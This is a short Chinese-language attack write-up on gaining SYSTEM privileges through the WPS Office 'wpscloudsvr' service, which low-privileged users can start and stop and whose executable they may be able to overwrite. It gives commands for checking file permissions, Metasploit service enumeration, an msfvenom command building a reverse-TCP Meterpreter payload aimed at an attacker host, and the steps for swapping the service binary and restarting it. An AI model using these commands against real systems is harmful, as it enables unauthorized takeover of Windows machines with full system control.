0x01 前言
wpscloudsvr服务用于提供WPSOffice云服务,其中包括:云文档,文件安全性,VIP服务等,以实现完整和安全的用户体验,及时更新和错误修复,停止此服务将禁用云服务和及时错误修复等。
但这个服务貌似并没有起到其实际作用,因为它默认为停止状态,启动类型为禁止或者手动,而且运行的是WPSOffice安装目录下的wpscloudsvr.exe,并非该服务指定的wpscloudsvr.exe。
本地测试环境信息:
操作系统:Windows 10教育版17134、Windows Server 2016 Datacenter 软件版本:WPS Office 2020 11.1.0.9999 WPS Office安装路径:D:\WPS Office\ WPS Office进程名:wps.exe、wpscloudsvr.exe等 WPS Office服务名:wpscloudsvr(WPS Office Cloud Service)
0x02 绕过原理分析
WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的,而且允许在ApplicationPoolIdentity、NetworkService和未过UAC的用户启动和停止该服务,并且有权限替换服务指定的wpscloudsvr.exe,所以能够直接利用这种方式进行权限提升,但需要注意以下几点。
1. 不是所有服务都可以用未过UAC的用户来启动和停止的,如:KugouService、Everything等;
2. wpscloudsvr.exe Users权限问题,Win10和2016默认给的权限不一样,可能会替换不了文件;
3. WPSOffic新版本中可能已经修复该问题,可以替换文件,但是不能启动wpscloudsvr服务;
get-acl .\wpscloudsvr.exe | format-list icacls wpscloudsvr.exe net start wpscloudsvr
0x02 模拟实战测试
(1) 使用MSF下的post/windows/gather/enum_services模块获取当前主机上的服务信息,找到一个以SYSTEM权限运行的wpscloudsvr服务,并且可用net命令停止和开启该服务。
meterpreter > run post/windows/gather/enum_services
(2) 既然有权限启动和停止wpscloudsvr服务,那么我们就直接将该服务的可执行文件替换为远控马或MSF攻击载荷,不过必须拥有Users完全控制权限才可替换,替换前记得备份一下,然后依次执行以下命令并重启wpscloudsvr服务后即可得到一个SYSTEM权限会话。
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443-f exe > /tmp/wpscloudsvr.exe meterpreter > cd C:\\ProgramData\\Kingsoft\\office6\\ meterpreter > cp wpscloudsvr.exe wpscloudsvr1.exe meterpreter > upload /tmp/wpscloudsvr.exe wpscloudsvr.exe meterpreter > execute -Hc -i -f "c:\\windows\\system32\\cmd.exe" -a "/c net start wpscloudsvr"
参考文章: